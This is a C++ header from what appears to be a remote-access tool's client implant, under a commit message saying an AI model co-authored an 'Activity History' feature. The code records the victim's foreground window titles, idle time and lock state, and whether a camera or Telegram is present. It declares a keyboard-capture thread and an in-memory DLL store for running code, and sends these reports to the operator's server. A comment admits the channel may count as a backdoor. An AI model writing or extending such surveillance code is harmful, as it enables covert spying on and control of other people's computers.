Record the client's active-window history (start time, window title, and dwell duration), newest first, skipping dwellings under 5 seconds and breaking the timing on idle, capped at 500 entries. Add an "Activity History" item inside the host's Client Management submenu that requests the snapshot over the main connection and shows it in a new dialog. The dialog rebuilds its edit control as a Unicode window so UTF-8 titles render correctly instead of degrading to "?" through the MBCS ANSI boundary. The menu item and dialog title go through _TR and are localized in en_US and zh_TW. Co-Authored-By: deepseek-v4-pro
318 lines
11 KiB
C++
318 lines
11 KiB
C++
// KernelManager.h: interface for the CKernelManager class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#if !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||
#define AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_
|
||
|
||
#if _MSC_VER > 1000
|
||
#pragma once
|
||
#endif // _MSC_VER > 1000
|
||
|
||
#include "Manager.h"
|
||
#include <vector>
|
||
#include "ClientApp.h"
|
||
|
||
#define MAX_THREADNUM 0x1000>>2
|
||
|
||
#include <iostream>
|
||
#include <string>
|
||
#include <iomanip>
|
||
#include <TlHelp32.h>
|
||
#include "LoginServer.h"
|
||
#include <common/iniFile.h>
|
||
|
||
// 根据配置决定采用什么通讯协议
|
||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
|
||
|
||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, BOOL isAuth = FALSE);
|
||
|
||
class ActivityWindow
|
||
{
|
||
public:
|
||
std::string Check(DWORD threshold_ms = 6000)
|
||
{
|
||
auto idle = GetUserIdleTime();
|
||
BOOL isActive = (idle < threshold_ms);
|
||
if (isActive) {
|
||
return GetActiveWindowTitle();
|
||
}
|
||
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
|
||
}
|
||
|
||
// 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。
|
||
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
|
||
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
|
||
{
|
||
if (GetUserIdleTime() >= threshold_ms)
|
||
return std::string();
|
||
return GetActiveWindowTitle();
|
||
}
|
||
|
||
// 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。
|
||
// 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。
|
||
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
|
||
{
|
||
if (GetUserIdleTime() >= threshold_ms)
|
||
return NULL;
|
||
return GetForegroundWindow();
|
||
}
|
||
|
||
private:
|
||
std::string FormatMilliseconds(DWORD ms)
|
||
{
|
||
DWORD totalSeconds = ms / 1000;
|
||
DWORD hours = totalSeconds / 3600;
|
||
DWORD minutes = (totalSeconds % 3600) / 60;
|
||
DWORD seconds = totalSeconds % 60;
|
||
|
||
std::stringstream ss;
|
||
ss << std::setfill('0')
|
||
<< std::setw(2) << hours << ":"
|
||
<< std::setw(2) << minutes << ":"
|
||
<< std::setw(2) << seconds;
|
||
|
||
return ss.str();
|
||
}
|
||
|
||
std::string GetActiveWindowTitle()
|
||
{
|
||
HWND hForegroundWindow = GetForegroundWindow();
|
||
if (hForegroundWindow == NULL)
|
||
return "No active window";
|
||
|
||
// 用 W 接口取标题,再转 UTF-8,避免依赖客户端系统 ANSI 代码页
|
||
wchar_t wTitle[256] = { 0 };
|
||
GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
|
||
if (wTitle[0] == L'\0')
|
||
return std::string();
|
||
|
||
int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
|
||
if (u8len <= 1)
|
||
return std::string();
|
||
|
||
// 协议字段 ActiveWnd[512],UTF-8 中文最多 3 字节/字符,必要时按完整码点截断
|
||
std::string out(u8len - 1, '\0');
|
||
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
|
||
if (out.size() >= 511) {
|
||
out.resize(511);
|
||
// 回退到上一个完整 UTF-8 码点起始
|
||
while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
|
||
out.pop_back();
|
||
if (!out.empty()) {
|
||
unsigned char lead = static_cast<unsigned char>(out.back());
|
||
int need = (lead & 0x80) == 0 ? 1
|
||
: (lead & 0xE0) == 0xC0 ? 2
|
||
: (lead & 0xF0) == 0xE0 ? 3
|
||
: (lead & 0xF8) == 0xF0 ? 4 : 0;
|
||
if (need == 0) out.pop_back();
|
||
}
|
||
}
|
||
return out;
|
||
}
|
||
|
||
DWORD GetLastInputTime()
|
||
{
|
||
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
|
||
GetLastInputInfo(&lii);
|
||
return lii.dwTime;
|
||
}
|
||
|
||
DWORD GetUserIdleTime()
|
||
{
|
||
return (GetTickCount64() - GetLastInputTime());
|
||
}
|
||
|
||
bool IsWorkstationLocked()
|
||
{
|
||
HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ);
|
||
// 如果无法打开桌面,可能是因为桌面已经切换到 Winlogon
|
||
if (!hInput) return true;
|
||
char name[256] = {0};
|
||
DWORD needed;
|
||
bool isLocked = false;
|
||
if (GetUserObjectInformationA(hInput, UOI_NAME, name, sizeof(name), &needed)) {
|
||
isLocked = (_stricmp(name, "Winlogon") == 0);
|
||
}
|
||
CloseDesktop(hInput);
|
||
return isLocked;
|
||
}
|
||
};
|
||
|
||
struct RttEstimator {
|
||
double srtt = 0.0; // 平滑 RTT (秒)
|
||
double rttvar = 0.0; // RTT 波动 (秒)
|
||
double rto = 0.0; // 超时时间 (秒)
|
||
bool initialized = false;
|
||
|
||
void update_from_sample(double rtt_ms)
|
||
{
|
||
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
||
if (rtt_ms <= 0 || rtt_ms > 30000) {
|
||
return;
|
||
}
|
||
|
||
const double alpha = 1.0 / 8;
|
||
const double beta = 1.0 / 4;
|
||
|
||
// 转换成秒
|
||
double rtt = rtt_ms / 1000.0;
|
||
|
||
if (!initialized) {
|
||
srtt = rtt;
|
||
rttvar = rtt / 2.0;
|
||
rto = srtt + 4.0 * rttvar;
|
||
initialized = true;
|
||
} else {
|
||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||
rto = srtt + 4.0 * rttvar;
|
||
}
|
||
|
||
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
||
if (rto < 1.0) rto = 1.0;
|
||
}
|
||
};
|
||
|
||
class CKernelManager : public CManager
|
||
{
|
||
public:
|
||
iniFile* m_cfg = nullptr;
|
||
CONNECT_ADDRESS* m_conn;
|
||
HINSTANCE m_hInstance;
|
||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
|
||
virtual ~CKernelManager();
|
||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength);
|
||
ThreadInfo* m_hKeyboard;
|
||
ThreadInfo m_hThread[MAX_THREADNUM];
|
||
// 此值在原代码中是用于记录线程数量;当线程数量超出限制时m_hThread会越界而导致程序异常
|
||
// 因此我将此值的含义修改为"可用线程下标",代表数组m_hThread中所指位置可用,即创建新的线程放置在该位置
|
||
ULONG m_ulThreadCount;
|
||
UINT GetAvailableIndex();
|
||
State& g_bExit; // Hide base class variable
|
||
static int g_IsAppExit;
|
||
MasterSettings m_settings;
|
||
RttEstimator m_nNetPing; // 网络状况
|
||
std::string m_LoginMsg; // 登录消息摘要
|
||
std::string m_LoginSignature; // 登录消息签名
|
||
// C2C 文件传输
|
||
std::string m_hash;
|
||
std::string m_hmac;
|
||
uint64_t m_MyClientID = 0;
|
||
// 执行代码
|
||
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||
void SetLoginMsg(const std::string& msg)
|
||
{
|
||
m_LoginMsg = msg;
|
||
}
|
||
// 发送心跳
|
||
virtual int SendHeartbeat()
|
||
{
|
||
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
|
||
Sleep(1000);
|
||
if (m_settings.ReportInterval <= 0) { // 关闭上报信息(含心跳)
|
||
for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i)
|
||
Sleep(1000);
|
||
return 0;
|
||
}
|
||
if (g_bExit || !m_ClientObject->IsConnected())
|
||
return -1;
|
||
|
||
ActivityWindow checker;
|
||
auto s = checker.Check();
|
||
Heartbeat a(s, (int)(m_nNetPing.srtt * 1000)); // srtt是秒,转为毫秒
|
||
|
||
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
|
||
|
||
BYTE buf[sizeof(Heartbeat) + 1];
|
||
buf[0] = TOKEN_HEARTBEAT;
|
||
memcpy(buf + 1, &a, sizeof(Heartbeat));
|
||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||
return 0;
|
||
}
|
||
bool SoftwareCheck(int type)
|
||
{
|
||
static std::map<int, std::string> m = {
|
||
{SOFTWARE_CAMERA, "摄像头"},
|
||
{SOFTWARE_TELEGRAM, "telegram.exe" },
|
||
};
|
||
static bool hasCamera = WebCamIsExist();
|
||
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
|
||
}
|
||
// 检查进程是否正在运行
|
||
bool IsProcessRunning(const std::vector<std::string>& processNames)
|
||
{
|
||
PROCESSENTRY32 pe32;
|
||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||
|
||
// 获取当前系统中所有进程的快照
|
||
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
||
return true;
|
||
|
||
// 遍历所有进程
|
||
if (Process32First(hProcessSnap, &pe32)) {
|
||
do {
|
||
for (const auto& processName : processNames) {
|
||
// 如果进程名称匹配,则返回 true
|
||
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
|
||
SAFE_CLOSE_HANDLE(hProcessSnap);
|
||
return true;
|
||
}
|
||
}
|
||
} while (Process32Next(hProcessSnap, &pe32));
|
||
}
|
||
|
||
SAFE_CLOSE_HANDLE(hProcessSnap);
|
||
return false;
|
||
}
|
||
virtual uint64_t GetClientID() const override
|
||
{
|
||
return m_conn->clientID;
|
||
}
|
||
virtual bool IsAuthKernel() const {
|
||
return false;
|
||
}
|
||
virtual void SetClientApp(App* app) {
|
||
m_ClientApp = app;
|
||
}
|
||
App* m_ClientApp = nullptr;
|
||
};
|
||
|
||
// [IMPORTANT]
|
||
// 授权管理器: 用于处理授权相关的心跳和响应,一旦授权成功则此线程将主动退出,不再和主控进行数据交互.
|
||
// 如果授权不成功则继续保持和主控的连接,包括进行必要的数据交互,这可能被定义为“后门”,但这是必须的.
|
||
// 注意: 授权管理器和普通的内核管理器在心跳包的处理上有所不同,授权管理器会在心跳包中附加授权相关的信息.
|
||
// 任何试图通过修改此类取消授权检查的行为都是不被允许的,并且不会成功,甚至可能引起程序强制退出.
|
||
class AuthKernelManager : public CKernelManager
|
||
{
|
||
public:
|
||
config* THIS_CFG = nullptr;
|
||
|
||
bool m_bFirstHeartbeat = true;
|
||
|
||
AuthKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
|
||
: THIS_CFG(IsDebug ? new config : new iniFile),
|
||
CKernelManager(conn, ClientObject, hInstance, kb, s)
|
||
{
|
||
Mprintf("Init a authorization kernel manager: %p\n", this);
|
||
}
|
||
virtual ~AuthKernelManager() {
|
||
delete THIS_CFG;
|
||
Mprintf("UnInit a authorization kernel manager: %p\n", this);
|
||
}
|
||
|
||
virtual int SendHeartbeat()override;
|
||
|
||
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)override;
|
||
|
||
virtual bool IsAuthKernel() const override {
|
||
return true;
|
||
}
|
||
};
|
||
|
||
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile* m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This = NULL);
|
||
|
||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|